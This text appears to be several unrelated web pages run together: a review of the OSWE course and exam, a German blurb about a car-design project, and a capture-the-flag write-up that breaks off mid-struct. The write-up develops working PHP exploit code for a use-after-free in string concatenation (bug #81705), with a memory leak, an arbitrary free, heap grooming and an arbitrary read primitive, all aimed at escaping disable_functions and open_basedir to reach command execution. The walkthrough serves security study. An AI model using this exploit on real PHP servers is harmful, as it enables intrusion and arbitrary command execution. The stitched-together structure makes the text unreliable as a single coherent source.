I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:

  • Authentication Bypasses of all kinds
  • Type Juggling
  • SQL Injection
  • Server-Side JavaScript Injection
  • Deserialization
  • Template Injection
  • Cross-Site Scripting (this was unexpected in an RCE context!)
  • Server-Side Request Forgery
  • Prototype Pollution
  • Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through 2 target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:

  • macOS Monterey 12.3.1
  • Viscosity for the VPN connection
  • Microsoft Remote Desktop to connect to the exam machines
  • Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
  • BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
  • Python for all my scripting works

The exam machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn two independent machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You also have to submit two flags for the authentication bypass (35 points) and for the RCE (15 points). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities to get the RCE. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2 (so the RCE part), but I still had to find the authentication bypass. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam

netcup-xss

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view of the allegedly minor but impactful coding errors, which can result from just a single missing equal sign.

But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

HanseSecureCar #2

VON DER IDEE ZUR UMSETZUNG Zettel, Stift, Ideen – nach vielen Überlegungen und zerknüllten Zetteln entstand dieser Entwurf. Ab zur Planung Farben Das Aufgreifen der Firmenspezifischen Farben = rot/ grau/ schwarz/ weiß Grundfarbe grau / Autodetails schwarz / Linien & Logo & Schrift rot + weiß Auffällige Farbe passend zum Web – türkis Matrix/ binär […]

In the land of PHP you will always be (use-after-)free

Dear Fellowlship, today’s homily is about the quest of a poor human trying to escape the velvet jail of disable_functions and open_basedir in order to achieve the holy power of executing arbitrary commands. Please, take a seat and listen to the story of how our hero defeated PHP with the help of UAF The Magician.

Prayers at the foot of the Altar a.k.a. disclaimer

First of all we have to apologize because of our delay on the publication date: this post should have been released 7 days ago.

The challenge was solved only by @kachakil and @samsa2k8, you can read their approach here. About 7-8 users were participating actively during the whole week, and only 2 (plus the winners) were in the right direction to get the flag, although everyone tried to use known exploits. Our intention was to avoid that and force people to craft their exploits from scratch but… a valid flag is a valid flag :).

We are going to keep releasing different challenges during the year, so keep an eye. We promise to add a list of winners in our blog :D

In case you did not read our tweet with the challenge, you can deploy it locally with docker and try to solve it.

And last but not least, it is CRUCIAL TO READ THIS ARTICLE BEFORE: A deep dive into disable_functions bypasses and PHP exploitation. Tons of details about disable_functions and the exploit methodology is explained in depth in that article, so this information is not going to be repeated here. Be wise and stop reading the current post until you end the other.

Prologue

The intention of this first challenge was to highlight something that is pretty obvious for some of us but that others keep struggling to accept: disabling “well-known” functions and restricting the paths through open_basedir IS TRIVIAL TO BYPASS. People does not realize how easy they are to bypass. If you have a web platform that have vulnerabilities that could lead to the execution of arbitrary PHP, you are fucked. PHP is so full of “bugs” (we will not call them “vulnerabilities”) in their own internals that it costs less than 5 minutes to find something abusable to bypass those restrictions.

Of course disabling functions is usefull and highly recommended because it is going to block most of script kiddies trying to pwn your server with the last vulnerability affecting a framework/CMS, but keep in mind that for a real attacker this is not going to stop him. And also this applies for pentesters and Red Teamers.

If you, our dearest reader, wonder about what sophisticated techniques we follow to identify “happy accidents” that can be used for bypassing… fuzzing? code review? Nah! Just go to the PHP bug tracker and search for juicy keywords and then sort by date:

Results for use-after-free on PHP bugtracker
Results for "use-after-free" on PHP bugtracker

In our case the first one (Bug #81705 type confusion/UAF on set_error_handler with concat operation) can fit our needs as the function set_error_handler is enabled.

Dream Theater - The root of all evil

The issue and the root cause are well explained in the original report, so we are going to limit ourselves by quoting the original text:

Here is a proof of concept for crash reproduction:

<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>

If you execute this snippet, it should cause SEGV at address 0x123.

(…)

When PHP executes the line $my_var .= [0];, it calls concat_function defined in Zend/zend_operators.c to try to concat given values. Since the given values may not be strings, concat_functiontries to convert them into strings with zval_get_string_func.

ZEND_TRY_BINARY_OBJECT_OPERATION(ZEND_CONCAT);
	ZVAL_STR(&op1_copy, zval_get_string_func(op1));
	if (UNEXPECTED(EG(exception))) {
		zval_ptr_dtor_str(&op1_copy);
		if (orig_op1 != result) {
			ZVAL_UNDEF(result);
		}
		return FAILURE;
	}

If the given value is an array, zval_get_string_func calls zend_error.

case IS_ARRAY:
	zend_error(E_WARNING, "Array to string conversion");
	return (try && UNEXPECTED(EG(exception))) ?
	NULL : ZSTR_KNOWN(ZEND_STR_ARRAY_CAPITALIZED);

Because we can register an original error handler that is called by zend_error by using set_error_handler, we can run almost arbitrary codes DURING concat_function is running.

In the above PoC, for example, $my_var will be overwritten with integer 0x123 when zend_error is triggered. concat_function, however, implicitly assumes the variables op1 and op2 are always strings, and thus type confusion occurs as a result.

Also is needed to quote this message from cmb in the same thread that clarifies the UAF situation:

The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator). For the script from comment 1641358352[2], that decreases the refcount to zero, but on shutdown, the literal stored in the op array will be released again. If that script is modified to use a dynamic value (range(1,4) instead of [1,2,3,4]), its is already freed, when that code in concat_function() tries to release it again.

[1] https://github.com/php/php-src/blob/php-8.1.1/Zend/zend_operators.c#L1928
[2] https://bugs.php.net/bug.php?id=81705#1641358352

So far we have a reproducible crash and primer for an exploit (in the same thread) from which we can draw ideas. In order to start building our exploit we are going to download PHP and compile it with debug symbols and without optimizations.

cd ../php-7.4.27/
./configure --disable-shared  --without-sqlite3 --without-pdo-sqlite
sed -i "s/ -O2 / -O0 /g" Makefile
make -j$(proc)
sudo make install

Here is my env (yes we are using an older version but do not worry in the epilogue we fix it :P):

PHP 7.4.27 (cli) (built: Feb 12 2022 16:45:41) ( NTS ) 
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

Let’s run the reproducible crash on GDB using php-cli:

   1860	 			}
   1861	 			op2 = &op2_copy;
   1862	 		}
   1863	 	} while (0);
   1864	 
          // op1=0x007fffffff70c0  →  [...]  →  0x0000000000000123
  1865	 	if (UNEXPECTED(Z_STRLEN_P(op1) == 0)) {
   1866	 		if (EXPECTED(result != op2)) {
   1867	 			if (result == orig_op1) {
   1868	 				i_zval_ptr_dtor(result);
   1869	 			}
   1870	 			ZVAL_COPY(result, op2);
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44039 in concat_function (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44039  concat_function(result=0x7ffff3e55608, op1=0x7ffff3e55608, op2=0x7fffffff7400)
[#1] 0x555555caf4d1  zend_binary_op(op2=0x7ffff3e911d0, op1=0x7ffff3e55608, ret=0x7ffff3e55608)
[#2] 0x555555caf4d1  ZEND_ASSIGN_OP_SPEC_CV_CONST_HANDLER()
[#3] 0x555555cfb267  execute_ex(ex=0x7ffff3e13020)
[#4] 0x555555cfe6e6  zend_execute(op_array=0x7ffff3e80380, return_value=0x0)
[#5] 0x555555b5213c  zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#6] 0x555555a8a8ae  php_execute_script(primary_file=0x7fffffffcbe0)
[#7] 0x555555d012b1  do_cli(argc=0x2, argv=0x55555678a350)
[#8] 0x555555d026e5  main(argc=0x2, argv=0x55555678a350)

We can confirm that the issue is present. If we check the original PoC reported on that bug tracker thread we can see this:

// Just for attaching a debugger.
// Removing these lines makes the exploit fail,
// but it doesn't mean this exploit depends on fopen.
// By considering the heap memory that had been allocated for the stream object and
// adjusting heap memory, the exploit will succeed again.

$f = fopen(php://stdin, r); 
fgets($f);

$my_var = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var,&$buf){
    $my_var=1;
    $buf=str_repeat(xxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16);
});
$my_var[1] .= 1234;

$my_var[1] .= 1234;

$obj_addr = 0;
for ($i = 23; $i >= 16; $i--){
    $obj_addr *= 256;
    $obj_addr += ord($buf[$i]);
}

This code can be adapted to confirm the UAF issue. In our case we can edit it to leak 0x100 bytes of memory:

<?php

function leak_test() {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 255;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= 1337; 
    return $buf;
}


function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


print leak_test();

?>

When we print the $buf variable we can see memory leaked (the pointer in the hex dump is a clear indicator of it -also this pointer is a good leak of the heap-):

➜  concat-exploit php blog01.php | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 6019 40b8 8f7f 0000 0601 0000 0000 0000  `.@.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Keep in mind that PHP believes this $buf is a string so we can access to read/modify bytes in memory by just $buff[offset]. This means we have a relative write/read primitive that we need to weaponize.

The Primitives - Crash

Once we have identified the vulnerability and how to trigger it we need to find a way to get arbitrary read and write primitives. To build our exploit we are going to follow a similar schema as the exploit that Mm0r1 created for the BackTrace bug (the exploit is explained in depth in the article linked at the beggining of this post, so go and read it!).

If you remember this fragment from the quoted thread:

The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator)

We can take advantage of this to get the ability to release memory at our will. As we saw with the 0x123 crash example, we can forge a fake value that is going to be passed to the PHP internal functions in charge to release memory. Let’s build a De Bruijn pattern using ragg2 and use it:

<?php

function free() {

         $contiguous = [];
            for ($i = 0; $i < 10; $i++) {
                $contiguous[] = alloc(0x100, "D");
            }
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
        
    }


function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}




print free();

?>

Fire in the hole!

─────────────────────────────────────────────────────────────────────────────────────────────── source:/home/vagrant/E[...].h+1039 ────
   1034	 	ZEND_RC_MOD_CHECK(p);
   1035	 	return ++(p->refcount);
   1036	 }
   1037	 
   1038	 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
          // p=0x007fffffff72b8  →  0x4141484141474141
  1039	 	ZEND_ASSERT(p->refcount > 0);
   1040	 	ZEND_RC_MOD_CHECK(p);
   1041	 	return --(p->refcount);
   1042	 }
   1043	 
   1044	 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44b2f  zend_gc_delref(p=0x4141484141474141)
[#1] 0x555555b44b2f  i_zval_ptr_dtor(zval_ptr=0x7ffff3e5cba8)
[#2] 0x555555b44b2f  concat_function(result=0x7ffff3e5cba8, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b  zend_binary_op(op2=0x7ffff3e97390, op1=0x7ffff3e5cba8, ret=0x7ffff3e5cba8)
[#4] 0x555555caf02b  ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257  execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6  zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c  zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae  php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1  do_cli(argc=0x2, argv=0x55555678a350)

As we can see part of our pattern arrived to the zend_gc_delref function and crashed. This function tries to decrease the reference counter, and it is called from i_zval_ptr_dtor:

static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr)
{
	if (Z_REFCOUNTED_P(zval_ptr)) {
		zend_refcounted *ref = Z_COUNTED_P(zval_ptr);
		if (!GC_DELREF(ref)) {
			rc_dtor_func(ref);
		} else {
			gc_check_possible_root(ref);
		}
	}
}

This function is used to destroy the variable passed as argument (a pointer to the desired zval, we can see the pointer is the same used as result in the concatenation). In our case a pointer to part of the faked contents at $buf. So if we change that part for “X” we should verify that we can control what is going to be released:

 $buf = str_repeat("AAABAACAADAAEAAF" . XXXXXXXX . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
   1034	 	ZEND_RC_MOD_CHECK(p);
   1035	 	return ++(p->refcount);
   1036	 }
   1037	 
   1038	 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
          // p=0x007fffffff72b8  →  0x5858585858585858
  1039	 	ZEND_ASSERT(p->refcount > 0);
   1040	 	ZEND_RC_MOD_CHECK(p);
   1041	 	return --(p->refcount);
   1042	 }
   1043	 
   1044	 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44b2f  zend_gc_delref(p=0x5858585858585858)
[#1] 0x555555b44b2f  i_zval_ptr_dtor(zval_ptr=0x7ffff3e5d328)
[#2] 0x555555b44b2f  concat_function(result=0x7ffff3e5d328, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b  zend_binary_op(op2=0x7ffff3e95390, op1=0x7ffff3e5d328, ret=0x7ffff3e5d328)
[#4] 0x555555caf02b  ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257  execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6  zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c  zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae  php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1  do_cli(argc=0x2, argv=0x55555678a350)

At this point we can:

  1. Leak a pointer from memory
  2. Free arbitrarily

We can use the leaked pointer to know the location of another variable that we allocate as placeholder and then free that variable.

<?php

class exploit {
public function __construct($cmd) {
    $concat_result_addr = $this->leak_heap();
    print "[+] Concated string address:\n0x";
    print dechex($concat_result_addr);
    $this->placeholder = $this->alloc(0x4F, "B");
    $placeholder_addr = $concat_result_addr+0xe0;
    print "\n[+] Placeholder string address:"; 
    print "\n0x".dechex($placeholder_addr);
    print "\n[+] Before free:\n";
    debug_zval_dump($this->placeholder);
    $this->free($placeholder_addr);
    print "\n[+] After free:\n";
    debug_zval_dump($this->placeholder);
}


private function leak_heap() {
	$contiguous = [];
 		for ($i = 0; $i < 10; $i++) {
			$contiguous[] = $this->alloc(0x100, "D");
 		}
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 1337;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= $this->alloc(0x4A, "F"); // 0x4F - 5 from the length of "Array" string concatenated
    return $this->str2ptr($buf, 16);
}


private function free($var_addr) {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
        $arr = 1;
        $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
    });
    $arr[1] .= 1337;
}


private function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


private function str2ptr($str, $p = 0, $n = 8) {
    $address = 0;
    for($j = $n - 1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p + $j]);
    }
    return $address;
}

private function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

}

new exploit("haha");
?>

And we can see that it worked:

  concat-exploit php blog03.php 
[+] Concated string address:
0x7f763f27a070
[+] Placeholder string address:
0x7f763f27a150
[+] Before free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(2)

[+] After free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(1059561697)

As we said before, we are going to build step by step an exploit similar to the one explained in the article A deep dive into disable_functions bypasses and PHP exploitation, reusing as much as we can. So we are going to take advantage of our ability to free memory to create a hole that is going to be occupied by an object that we are going to use for reading/writing arbitrary memory. As we know where the hole is (the address of the placeholder, that is calculated applying an offset to the leaked address), we can access to the properties’ memory contents directly ($placeholder[offset]) and use them to leak memory at any desired address. We can perform an easy test:

<?php

class Helper { public $a, $b, $c, $d; }  

class exploit {
public function __construct($cmd) {
    $concat_result_addr = $this->leak_heap();
    print "[+] Concated string address:\n0x";
    print dechex($concat_result_addr);
    $this->placeholder = $this->alloc(0x4F, "B");
    $placeholder_addr = $concat_result_addr+0xe0;
    print "\n[+] Placeholder string address:"; 
    print "\n0x".dechex($placeholder_addr);
    $this->free($placeholder_addr);
    $this->helper = new Helper;
    $this->helper->a = "KKKK";
}


private function leak_heap() {
	$contiguous = [];
 		for ($i = 0; $i < 10; $i++) {
			$contiguous[] = $this->alloc(0x100, "D");
 		}
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 1337;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= $this->alloc(0x4A, "F");
    return $this->str2ptr($buf, 16);
}


private function free($var_addr) {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
        $arr = 1;
        $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
    });
    $arr[1] .= 1337;
}


private function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


private function str2ptr($str, $p = 0, $n = 8) {
    $address = 0;
    for($j = $n - 1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p + $j]);
    }
    return $address;
}

private function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

}

new exploit("haha");
?>

Our new object ($helper) is going to take the location of our $placeholder freed, so we can review the memory at that address:

gef  x/30g 0x7ffff3e7a150
0x7ffff3e7a150:	0x0000001800000001	0x0000000000000004
0x7ffff3e7a160:	0x00007ffff3e03018	0x00005555567527c0
0x7ffff3e7a170:	0x0000000000000000	0x00007ffff3e55ec0 <--- helper->a
0x7ffff3e7a180:	0x0000000000000006	0x8000065301d853e5
0x7ffff3e7a190:	0x0000000000000001	0x8000065301d853e5
0x7ffff3e7a1a0:	0x0000000000000001	0x8000065301d853e5
0x7ffff3e7a1b0:	0x0000000000000001	0x0000000000000000
0x7ffff3e7a1c0:	0x00007ffff3e7a230	0x0000000000000000
0x7ffff3e7a1d0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a1e0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a1f0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a200:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a210:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a220:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a230:	0x00007ffff3e7a2a0	0x0000000000000000

We can see that the property a (that is a string) is located at 0x7ffff3e7a178 (0x7ffff3e7a150 + 0x28). We can verify it:

gef  x/30g 0x00007ffff3e55ec0
0x7ffff3e55ec0:	0x0000004600000001	0x800000017c8778f1
0x7ffff3e55ed0:	0x0000000000000004	0x000072004b4b4b4b <-- 4b == K
0x7ffff3e55ee0:	0x0000004600000001	0x8000000000597a79
0x7ffff3e55ef0:	0x0000000000000002	0x0000000000007a7a
0x7ffff3e55f00:	0x00007ffff3e555c0	0x00007ffff3e60300
0x7ffff3e55f10:	0x00007ffff3e60360	0x0000555556795a50
0x7ffff3e55f20:	0x00007ffff3e55f40	0x0000000000000000
0x7ffff3e55f30:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f40:	0x00007ffff3e55f60	0x0000000000000000
0x7ffff3e55f50:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f60:	0x00007ffff3e55f80	0x0000000000000000
0x7ffff3e55f70:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f80:	0x00007ffff3e55fa0	0x0000000000000000
0x7ffff3e55f90:	0x0000000000000000	0x0000000000000000
0x7ffff3e55fa0:	0x00007ffff3e55fc0	0x0000000000000000

The “KKKK” (4b4b4b4b) string is in that place. In PHP 7 strings are saved inside the structure zend_string that is defined as:

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1]; // NOT A "char *"
};

So if we interpret this memory as a zend_string we can visualize it better:

gef  print (zend_string)*0x00007ffff3e55ec0
$3 = {
  gc = {
    refcount = 0x1, 
    u = {
      type_info = 0x46
    }
  }, 
  h = 0x800000017c8778f1, 
  len = 0x4, 
  val = "K"
}

As we can overwrite bytes inside the $helper object, we can take advantage of it to overwrite the pointer to the original a string (our “KKKK”) with a pointer to any desired address. After overwriting the pointer, we can read safely the bytes at the address + 0x10 (len field inside zend_string) calling strlen() with our $helper->a. Using this simple trick we can get an arbitrary read primitive:

private function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for ($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
    }
}
private function leak($addr, $p = 0, $s = 8) {
    $this->write($this->placeholder, 0x10, $addr);
    $leak = strlen($this->helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
    }

Iggy & The Stooges - Search And Destroy

The next step in our exploit is to search where the basic_functions structure is located in memory, and then walk it until we find the handler for zif_system or similar functions that allow us the execution of commands. Although this is really well explained in the quoted article, let’s just give it a short explanation here.

In PHP the “basic” functions are grouped into basic_functions for registration, this being an array of zend_function_entry structures. Therefore, in this basic_functions we will have, ultimately, an ordered relationship of function names along with the pointer to them (handlers). The zend_function_entry structure is defined as:

typedef struct _zend_function_entry {
    const char *fname;
